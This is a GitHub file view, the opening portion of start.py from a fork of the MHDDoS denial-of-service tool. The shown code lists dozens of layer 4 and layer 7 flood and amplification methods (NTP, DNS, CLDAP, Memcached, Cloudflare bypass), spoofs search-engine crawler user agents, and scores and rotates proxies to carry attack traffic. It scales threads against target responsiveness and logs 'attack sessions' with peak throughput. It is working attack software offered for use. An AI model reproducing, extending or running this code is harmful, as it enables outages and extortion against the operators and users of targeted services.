forked from MatrixTM/MHDDoS
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathstart.py
More file actions
3890 lines (3519 loc) · 162 KB
/
start.py
File metadata and controls
3890 lines (3519 loc) · 162 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import asyncio
import logging
import random
import re
import sqlite3
import ssl
import sys
from base64 import b64encode
from concurrent.futures import ThreadPoolExecutor, as_completed
from contextlib import suppress
from datetime import datetime, timedelta
from itertools import cycle
from json import load
from logging import basicConfig, getLogger, shutdown
from math import log2, trunc
from multiprocessing import RawValue
from os import urandom as randbytes
from pathlib import Path
from random import choice as randchoice, randint
from socket import (
AF_INET,
IP_HDRINCL,
IPPROTO_IP,
IPPROTO_TCP,
IPPROTO_UDP,
SOCK_DGRAM,
IPPROTO_ICMP,
SOCK_RAW,
SOCK_STREAM,
TCP_NODELAY,
gethostbyname,
gethostname,
socket,
)
from ssl import CERT_NONE, SSLContext, create_default_context
from struct import pack as data_pack
from subprocess import run, PIPE
from sys import argv
from sys import exit as _exit
from threading import Event, Thread, Lock, RLock, current_thread
from time import sleep, time
from typing import Any, List, Set, Tuple, Optional, Union, Dict
from urllib import parse
from urllib.parse import urlparse
from uuid import UUID, uuid4
import psutil
import requests
import aiohttp
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from certifi import where
from cloudscraper import create_scraper
from dns import resolver
from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, get, cookies
from yarl import URL
try:
import nodriver
NODRIVER_INSTALLED = True
except ImportError:
NODRIVER_INSTALLED = False
try:
from playwright.sync_api import sync_playwright, TimeoutError as PlaywrightTimeoutError
PLAYWRIGHT_INSTALLED = True
except ImportError:
PLAYWRIGHT_INSTALLED = False
try:
from playwright_stealth import Stealth
STEALTH_INSTALLED = True
except ImportError:
STEALTH_INSTALLED = False
try:
from curl_cffi.requests import AsyncSession as CurlSession
CURL_CFFI_INSTALLED = True
except ImportError:
CURL_CFFI_INSTALLED = False
try:
import httpx
HTTPX_INSTALLED = True
except ImportError:
HTTPX_INSTALLED = False
# --- Windows asyncio Proactor OSError 10057 Workaround ---
if sys.platform.lower().startswith("win") and sys.version_info >= (3, 8):
try:
from functools import wraps
from asyncio.proactor_events import _ProactorBasePipeTransport
def silence_win_error_10057(func):
@wraps(func)
def wrapper(self, *args, **kwargs):
try:
return func(self, *args, **kwargs)
except OSError as e:
if getattr(e, 'winerror', None) == 10057:
return
raise
return wrapper
_ProactorBasePipeTransport._call_connection_lost = silence_win_error_10057(
_ProactorBasePipeTransport._call_connection_lost
)
except Exception:
pass
# --- Asyncio StreamWriter Context Manager Patch ---
async def _streamwriter_aenter(self):
return self
async def _streamwriter_aexit(self, exc_type, exc_val, exc_tb):
try:
self.close()
await self.wait_closed()
except Exception:
pass
asyncio.StreamWriter.__aenter__ = _streamwriter_aenter
asyncio.StreamWriter.__aexit__ = _streamwriter_aexit
# --- Tactical Configuration (v1.2.1) ---
__version__: str = "1.2.1"
__dir__: Path = Path(__file__).parent
# Setup High-Signal Logging
basicConfig(
format="[%(asctime)s - %(levelname)s] %(message)s",
datefmt="%H:%M:%S",
stream=sys.stdout,
)
logger = getLogger("MHDDoS")
if "--debug" in argv or "--verbose" in argv:
logger.setLevel(logging.DEBUG)
logger.debug("[*] VERBOSE DIAGNOSTICS ENABLED: Deep tactical tracing active.")
else:
logger.setLevel(logging.INFO)
# Silence library noise for maximum tactical focus
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
logging.getLogger("requests").setLevel(logging.CRITICAL)
ctx: SSLContext = create_default_context(cafile=where())
ctx.check_hostname = False
ctx.verify_mode = CERT_NONE
if hasattr(ctx, "minimum_version") and hasattr(ssl, "TLSVersion"):
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
__ip__: Any = None
tor2webs = [
"onion.city",
"onion.cab",
"onion.direct",
"onion.sh",
"onion.link",
"onion.ws",
"onion.pet",
"onion.rip",
"onion.plus",
"onion.top",
"onion.si",
"onion.ly",
"onion.my",
"onion.sh",
"onion.lu",
"onion.casa",
"onion.com.de",
"onion.foundation",
"onion.rodeo",
"onion.lat",
"tor2web.org",
"tor2web.fi",
"tor2web.blutmagie.de",
"tor2web.to",
"tor2web.io",
"tor2web.in",
"tor2web.it",
"tor2web.xyz",
"tor2web.su",
"darknet.to",
"s1.tor-gateways.de",
"s2.tor-gateways.de",
"s3.tor-gateways.de",
"s4.tor-gateways.de",
"s5.tor-gateways.de",
]
with open(__dir__ / "config.json") as f:
con = load(f)
with socket(AF_INET, SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
__ip__ = s.getsockname()[0]
class bcolors:
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
RESET = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
def exit(*message: str) -> None:
if message:
logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
shutdown()
# Ensure logs reach the pipe before we kill the process tree
sys.stdout.flush()
sys.stderr.flush()
import os
os._exit(1)
# --- Persistent Intelligence Database ---
class IntelligenceDB:
def __init__(self, db_path: str = "files/intelligence.db"):
self.db_path = __dir__ / db_path
self.db_path.parent.mkdir(parents=True, exist_ok=True)
self.lock = Lock()
self._init_db()
def _init_db(self):
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
# Enable WAL mode for multi-process concurrency
cursor.execute('PRAGMA journal_mode=WAL;')
cursor.execute('PRAGMA synchronous=NORMAL;')
cursor.execute('''
CREATE TABLE IF NOT EXISTS proxy_intel (
ip_port TEXT PRIMARY KEY,
latency REAL,
score REAL,
failures INTEGER,
last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
''')
# --- Attack History Tables ---
cursor.execute('''
CREATE TABLE IF NOT EXISTS attack_sessions (
session_id TEXT PRIMARY KEY,
target TEXT NOT NULL,
method TEXT NOT NULL,
threads INTEGER,
duration_planned INTEGER,
duration_actual REAL,
proxy_type TEXT,
proxy_count INTEGER DEFAULT 0,
start_time TIMESTAMP,
end_time TIMESTAMP,
exit_status TEXT DEFAULT 'running',
total_requests INTEGER DEFAULT 0,
total_bytes INTEGER DEFAULT 0,
avg_latency REAL DEFAULT 0.0,
peak_pps INTEGER DEFAULT 0,
peak_bps INTEGER DEFAULT 0
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS attack_metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id TEXT NOT NULL,
timestamp TIMESTAMP NOT NULL,
pps INTEGER DEFAULT 0,
bps INTEGER DEFAULT 0,
latency REAL DEFAULT 0.0,
cpu_percent REAL DEFAULT 0.0,
ram_percent REAL DEFAULT 0.0,
FOREIGN KEY (session_id) REFERENCES attack_sessions(session_id)
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS attack_events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id TEXT NOT NULL,
timestamp TIMESTAMP NOT NULL,
event_type TEXT NOT NULL,
message TEXT,
FOREIGN KEY (session_id) REFERENCES attack_sessions(session_id)
)
''')
# Index for fast time-range queries on metrics
cursor.execute('''
CREATE INDEX IF NOT EXISTS idx_metrics_session_time
ON attack_metrics(session_id, timestamp)
''')
cursor.execute('''
CREATE INDEX IF NOT EXISTS idx_events_session
ON attack_events(session_id)
''')
cursor.execute('''
CREATE INDEX IF NOT EXISTS idx_sessions_start_time
ON attack_sessions(start_time)
''')
conn.commit()
# --- Proxy Intel Methods (existing) ---
def update_proxy_scores(self, proxies: List['TacticalProxy']):
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
now = datetime.now().isoformat()
for p in proxies:
cursor.execute('''
INSERT INTO proxy_intel (ip_port, latency, score, failures, last_seen)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(ip_port) DO UPDATE SET
latency=excluded.latency,
score=excluded.score,
failures=failures + excluded.failures,
last_seen=excluded.last_seen
''', (str(p.base), p.latency_ms, p.score, p.fail_count, now))
conn.commit()
def get_proxy_intel(self, ip_port: str) -> Optional[Dict]:
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
cursor.execute('SELECT latency, score, failures FROM proxy_intel WHERE ip_port=?', (ip_port,))
row = cursor.fetchone()
if row:
return {'latency': row[0], 'score': row[1], 'failures': row[2]}
return None
# --- Attack History Methods ---
def create_session(self, session_id: str, target: str, method: str,
threads: int, duration: int, proxy_type: str = "",
proxy_count: int = 0) -> None:
"""Record a new attack session at launch time."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
now = datetime.now().isoformat()
cursor.execute('''
INSERT OR REPLACE INTO attack_sessions
(session_id, target, method, threads, duration_planned,
proxy_type, proxy_count, start_time, exit_status)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'running')
''', (session_id, target, method, threads, duration,
proxy_type, proxy_count, now))
conn.commit()
self.record_event(session_id, 'start',
f'Attack initiated: {method} -> {target} ({threads} threads, {duration}s)',
_use_lock=False, _conn=conn)
def record_metric(self, session_id: str, pps: int, bps: int,
latency: float, cpu_pct: float = 0.0,
ram_pct: float = 0.0) -> None:
"""Record a single time-series data point (called every ~1s)."""
with self.lock:
try:
with sqlite3.connect(self.db_path, timeout=10.0) as conn:
cursor = conn.cursor()
now = datetime.now().isoformat()
cursor.execute('''
INSERT INTO attack_metrics
(session_id, timestamp, pps, bps, latency, cpu_percent, ram_percent)
VALUES (?, ?, ?, ?, ?, ?, ?)
''', (session_id, now, pps, bps, latency, cpu_pct, ram_pct))
conn.commit()
except Exception:
pass # Non-blocking: never crash the engine for telemetry
def record_event(self, session_id: str, event_type: str, message: str,
_use_lock: bool = True, _conn=None) -> None:
"""Record a significant event during an attack."""
def _insert(conn):
cursor = conn.cursor()
now = datetime.now().isoformat()
cursor.execute('''
INSERT INTO attack_events (session_id, timestamp, event_type, message)
VALUES (?, ?, ?, ?)
''', (session_id, now, event_type, message))
conn.commit()
try:
if _conn:
_insert(_conn)
else:
if _use_lock:
with self.lock:
with sqlite3.connect(self.db_path, timeout=10.0) as conn:
_insert(conn)
else:
with sqlite3.connect(self.db_path, timeout=10.0) as conn:
_insert(conn)
except Exception:
pass
def finalize_session(self, session_id: str, exit_status: str = 'completed') -> None:
"""Finalize a session with aggregated stats when attack ends."""
with self.lock:
try:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
now = datetime.now().isoformat()
# Calculate aggregates from recorded metrics
cursor.execute('''
SELECT
COALESCE(SUM(pps), 0),
COALESCE(SUM(bps), 0),
COALESCE(AVG(CASE WHEN latency > 0 THEN latency END), 0.0),
COALESCE(MAX(pps), 0),
COALESCE(MAX(bps), 0)
FROM attack_metrics WHERE session_id = ?
''', (session_id,))
row = cursor.fetchone()
total_req, total_bytes, avg_lat, peak_pps, peak_bps = row if row else (0, 0, 0.0, 0, 0)
# Calculate actual duration
cursor.execute('''
SELECT start_time FROM attack_sessions WHERE session_id = ?
''', (session_id,))
start_row = cursor.fetchone()
duration_actual = 0.0
if start_row and start_row[0]:
try:
start_dt = datetime.fromisoformat(start_row[0])
duration_actual = (datetime.now() - start_dt).total_seconds()
except Exception:
pass
cursor.execute('''
UPDATE attack_sessions SET
end_time = ?,
exit_status = ?,
duration_actual = ?,
total_requests = ?,
total_bytes = ?,
avg_latency = ?,
peak_pps = ?,
peak_bps = ?
WHERE session_id = ?
''', (now, exit_status, duration_actual, total_req, total_bytes,
avg_lat, peak_pps, peak_bps, session_id))
conn.commit()
self.record_event(session_id, 'end',
f'Attack {exit_status}: duration={duration_actual:.1f}s, '
f'total_req={total_req}, total_bytes={total_bytes}',
_use_lock=False, _conn=conn)
except Exception as e:
logger.debug(f"[!] History DB finalize error: {e}")
def get_session_list(self, limit: int = 50, offset: int = 0) -> List[Dict]:
"""Return a list of past attack sessions, newest first."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute('''
SELECT * FROM attack_sessions
ORDER BY start_time DESC LIMIT ? OFFSET ?
''', (limit, offset))
return [dict(row) for row in cursor.fetchall()]
def get_session_detail(self, session_id: str) -> Optional[Dict]:
"""Return full details for a single session."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute('SELECT * FROM attack_sessions WHERE session_id = ?', (session_id,))
row = cursor.fetchone()
return dict(row) if row else None
def get_session_metrics(self, session_id: str) -> List[Dict]:
"""Return time-series metrics for a session."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute('''
SELECT timestamp, pps, bps, latency, cpu_percent, ram_percent
FROM attack_metrics WHERE session_id = ?
ORDER BY timestamp ASC
''', (session_id,))
return [dict(row) for row in cursor.fetchall()]
def get_session_events(self, session_id: str) -> List[Dict]:
"""Return event log for a session."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute('''
SELECT timestamp, event_type, message
FROM attack_events WHERE session_id = ?
ORDER BY timestamp ASC
''', (session_id,))
return [dict(row) for row in cursor.fetchall()]
def get_global_stats(self) -> Dict:
"""Return global attack statistics."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
cursor.execute('SELECT COUNT(*) FROM attack_sessions')
total_sessions = cursor.fetchone()[0]
cursor.execute('SELECT COUNT(*) FROM attack_sessions WHERE exit_status = "completed"')
completed = cursor.fetchone()[0]
cursor.execute('''
SELECT method, COUNT(*) as cnt FROM attack_sessions
GROUP BY method ORDER BY cnt DESC LIMIT 1
''')
top_method_row = cursor.fetchone()
top_method = top_method_row[0] if top_method_row else "N/A"
cursor.execute('''
SELECT COALESCE(SUM(total_requests), 0),
COALESCE(SUM(total_bytes), 0),
COALESCE(AVG(duration_actual), 0)
FROM attack_sessions WHERE exit_status != 'running'
''')
agg = cursor.fetchone()
return {
'total_sessions': total_sessions,
'completed_sessions': completed,
'top_method': top_method,
'lifetime_requests': agg[0],
'lifetime_bytes': agg[1],
'avg_duration': round(agg[2], 1),
}
def delete_session(self, session_id: str) -> bool:
"""Delete a session and all related metrics/events."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
cursor.execute('DELETE FROM attack_metrics WHERE session_id = ?', (session_id,))
cursor.execute('DELETE FROM attack_events WHERE session_id = ?', (session_id,))
cursor.execute('DELETE FROM attack_sessions WHERE session_id = ?', (session_id,))
conn.commit()
return cursor.rowcount > 0
def cleanup_old_data(self, days: int = 30) -> int:
"""Auto-purge attack metrics older than N days. Keep session summaries."""
with self.lock:
with sqlite3.connect(self.db_path, timeout=30.0) as conn:
cursor = conn.cursor()
cutoff = (datetime.now() - timedelta(days=days)).isoformat()
# Delete old metrics (heavy data) but keep session summaries
cursor.execute('''
DELETE FROM attack_metrics WHERE session_id IN (
SELECT session_id FROM attack_sessions WHERE start_time < ?
)
''', (cutoff,))
metrics_deleted = cursor.rowcount
cursor.execute('''
DELETE FROM attack_events WHERE session_id IN (
SELECT session_id FROM attack_sessions WHERE start_time < ?
)
''', (cutoff,))
# Delete very old sessions entirely (older than 2x retention)
very_old = (datetime.now() - timedelta(days=days * 2)).isoformat()
cursor.execute('DELETE FROM attack_sessions WHERE start_time < ?', (very_old,))
conn.commit()
if metrics_deleted > 0:
logger.info(f"{bcolors.OKCYAN}[*] History DB: Auto-cleanup purged {metrics_deleted} old metric records.{bcolors.RESET}")
return metrics_deleted
class HistoryCleanupDaemon(Thread):
"""Background thread that runs cleanup every 24 hours."""
def __init__(self, db: IntelligenceDB, retention_days: int = 30):
Thread.__init__(self, daemon=True)
self.db = db
self.retention_days = retention_days
def run(self):
# Initial cleanup on startup
sleep(10)
self.db.cleanup_old_data(self.retention_days)
while True:
sleep(86400) # 24 hours
self.db.cleanup_old_data(self.retention_days)
INTEL_DB = IntelligenceDB()
# Start background cleanup daemon (30-day retention)
HistoryCleanupDaemon(INTEL_DB, retention_days=30).start()
# --- Dynamic Scaling Globals ---
class EngineState:
def __init__(self):
self.active_threads_target = RawValue("i", 0)
self.max_threads = 0
ENGINE_STATE = EngineState()
class DynamicScaler(Thread):
def __init__(self, target_host: str, interval: int = 5):
Thread.__init__(self, daemon=True)
self.interval = interval
self.target_host = target_host
self.consecutive_high_load = 0
self.consecutive_low_load = 0
def run(self):
while True:
sleep(self.interval)
cpu = cpu_percent(interval=1)
mem = virtual_memory().percent
lat = CURRENT_LATENCY.value
current_target = ENGINE_STATE.active_threads_target.value
# Downscale if host is struggling (CPU > 85% or RAM > 85% or Latency Timeout)
if cpu > 85 or mem > 85 or lat == -1.0:
self.consecutive_high_load += 1
self.consecutive_low_load = 0
if self.consecutive_high_load >= 2:
new_target = max(10, int(current_target * 0.8)) # Drop by 20%
if new_target < current_target:
logger.warning(f"{bcolors.WARNING}[!] Dynamic Scaler: High load detected (CPU: {cpu}%, RAM: {mem}%). Downscaling workers to {new_target}.{bcolors.RESET}")
ENGINE_STATE.active_threads_target.value = new_target
self.consecutive_high_load = 0
# Upscale if host is bored and target is responding well (CPU < 50%, RAM < 60%, Latency < 1000ms)
elif cpu < 50 and mem < 60 and 0 < lat < 1000:
self.consecutive_low_load += 1
self.consecutive_high_load = 0
if self.consecutive_low_load >= 3:
new_target = min(ENGINE_STATE.max_threads, int(current_target * 1.1) + 10) # Increase by 10%
if new_target > current_target:
logger.info(f"{bcolors.OKCYAN}[*] Dynamic Scaler: System optimal. Upscaling workers to {new_target}.{bcolors.RESET}")
ENGINE_STATE.active_threads_target.value = new_target
self.consecutive_low_load = 0
else:
self.consecutive_high_load = 0
self.consecutive_low_load = 0
class Methods:
LAYER7_METHODS: Set[str] = {
"CFB",
"BYPASS",
"GET",
"POST",
"OVH",
"STRESS",
"DYN",
"SLOW",
"HEAD",
"NULL",
"COOKIE",
"PPS",
"EVEN",
"GSB",
"DGB",
"AVB",
"CFBUAM",
"APACHE",
"XMLRPC",
"BOT",
"BOMB",
"DOWNLOADER",
"KILLER",
"TOR",
"RHEX",
"STOMP",
"IMPERSONATE",
"HTTP3",
}
LAYER4_AMP: Set[str] = {"MEM", "NTP", "DNS", "ARD", "CLDAP", "CHAR", "RDP"}
LAYER4_METHODS: Set[str] = {
*LAYER4_AMP,
"TCP",
"UDP",
"SYN",
"VSE",
"MINECRAFT",
"MCBOT",
"CONNECTION",
"CPS",
"FIVEM",
"FIVEM-TOKEN",
"TS3",
"MCPE",
"ICMP",
"OVH-UDP",
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
search_engine_agents = [
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36",
"Googlebot-Image/1.0",
"Googlebot-Video/1.0",
"Googlebot-News",
"AdsBot-Google (+http://www.google.com/adsbot.html)",
"AdsBot-Google-Mobile-Apps",
"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)",
"Mediapartners-Google",
"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)",
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"BingPreview/1.0b",
"AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"Yahoo! Slurp China",
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
"YandexMobileBot/3.0 (+http://yandex.com/bots)",
"YandexImages/3.0 (+http://yandex.com/bots)",
"YandexVideo/3.0 (+http://yandex.com/bots)",
"YandexNews/3.0 (+http://yandex.com/bots)",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Baiduspider-image (+http://www.baidu.com/search/spider.html)",
"Baiduspider-video (+http://www.baidu.com/search/spider.html)",
"DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)",
"DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)",
"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
"Facebot/1.0",
"Twitterbot/1.0",
"LinkedInBot/1.0 (+https://www.linkedin.com/)",
"Pinterest/0.2 (+http://www.pinterest.com/bot.html)",
"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
"SemrushBot/7~bl (+http://www.semrush.com/bot.html)",
"MJ12bot/v1.4.8 (http://mj12bot.com/)",
"Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)",
"Exabot/3.0 (+http://www.exabot.com/go/robot)",
"SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)",
"CCBot/2.0 (+http://commoncrawl.org/faq/)",
"DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, help@moz.com)",
]
class Counter:
def __init__(self, value: int = 0) -> None:
self._value = RawValue("Q", value) # Use Unsigned Long Long (64-bit) for BPS/PPS
self._lock = Lock()
def __iadd__(self, value: int) -> "Counter":
with self._lock:
self._value.value += value
return self
def __int__(self) -> int:
with self._lock:
return self._value.value
def set(self, value: int) -> "Counter":
with self._lock:
self._value.value = value
return self
REQUESTS_SENT = Counter()
BYTES_SEND = Counter()
SUCCESS_SENT = Counter() # 2xx/3xx
WAF_SENT = Counter() # 4xx (Blocked/Mitigated)
ERROR_SENT = Counter() # 5xx (Server Crash)
TIMEOUT_SENT = Counter() # Socket Timeouts
CURRENT_LATENCY = RawValue("d", 0.0)
DYNAMIC_RPC = RawValue("i", 100)
class HealthMonitor:
def __init__(
self, target_host: str, port: int, method_type: str, interval: int = 2
):
self.target_host = target_host
self.port = port
self.method_type = method_type
self.interval = interval
async def run(self):
while True:
try:
start_t = time()
if self.method_type == "L7":
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
async with session.get(f"http://{self.target_host}:{self.port}", timeout=2):
pass
else:
# Async socket connect check for L4
reader, writer = await asyncio.open_connection(self.target_host, self.port)
writer.close()
await writer.wait_closed()
CURRENT_LATENCY.value = (time() - start_t) * 1000
except Exception:
CURRENT_LATENCY.value = -1.0 # -1 means offline or timeout
await asyncio.sleep(self.interval)
class TacticalProxy:
def __init__(self, base_proxy: Proxy, latency_ms: float, is_protocol_verified: bool = False):
self.base = base_proxy
self.latency_ms = latency_ms
self.is_protocol_verified = is_protocol_verified
self.fail_count = 0
self.success_count = 0
self.score = self._calculate_initial_score()
def _calculate_initial_score(self):
# Base score on latency: < 100ms = 90-100, 500ms = 50, 1000ms = 0
return max(1, 100 - (self.latency_ms / 10))
def update_score(self, current_failures: int):
# Penalty for failures: -10 points per failure recorded in this cycle
self.score = max(1, self._calculate_initial_score() - (current_failures * 15))
def __str__(self):
return self.base.__str__()
def open_socket(self, family=AF_INET, type=SOCK_STREAM, timeout=2):
return self.base.open_socket(family, type, timeout)
class TacticalProxyValidator:
@staticmethod
async def validate_and_score(raw_proxies: Set[Proxy], target_url: str = None, is_layer7: bool = True, is_udp: bool = False) -> List[TacticalProxy]:
tactical_proxies = []
total_raw = len(raw_proxies)
if total_raw == 0:
return []
logger.info(
f"{bcolors.OKBLUE}[*] Resource: Tactical scoring initiated for {total_raw:,} assets...{bcolors.RESET}"
)
target_host = "8.8.8.8"
target_port = 53 if is_udp else 443
requires_ssl = False
if target_url and is_layer7:
parsed = urlparse(target_url)
target_host = parsed.netloc or parsed.path
requires_ssl = parsed.scheme == "https"
target_port = 443 if requires_ssl else 80
elif target_url and not is_layer7:
if ":" in target_url:
target_host, target_port = target_url.split(":")
target_port = int(target_port)
else:
target_host = target_url
semaphore = asyncio.Semaphore(500)
async def _check(proxy: Proxy) -> Optional[TacticalProxy]:
async with semaphore:
p_str = str(proxy)
intel = await asyncio.to_thread(INTEL_DB.get_proxy_intel, p_str)
# If we have recent, high-quality intel, skip active verification to speed up deployment
if intel and intel['failures'] < 3 and intel['latency'] < 1500:
p = TacticalProxy(proxy, intel['latency'], True)
p.score = intel['score']
p.fail_count = intel['failures']
return p
start_time = time()
try:
# 1. Connection Check
# PyRoxy open_socket is synchronous, run in thread to avoid blocking loop
s = await asyncio.to_thread(proxy.open_socket, timeout=3)
if not s:
return TacticalProxy(proxy, 2500.0, False)
is_verified = False
# 2. SSL Handshake for L7 HTTPS
if requires_ssl and is_layer7:
try:
s.settimeout(3)
# SSL wrap is also blocking
s = await asyncio.to_thread(ctx.wrap_socket, s, server_hostname=target_host, do_handshake_on_connect=True)
is_verified = True
except:
with suppress(Exception): s.close()
return TacticalProxy(proxy, 2000.0, False)
# 3. UDP Associate Check for SOCKS5/UDP
elif is_udp and proxy.type == ProxyType.SOCKS5:
try:
s.settimeout(3)
await asyncio.to_thread(s.sendall, b"\x05\x03\x00\x01\x00\x00\x00\x00\x00\x00")
res = await asyncio.to_thread(s.recv, 10)
if res and res[1] == 0x00:
is_verified = True
else:
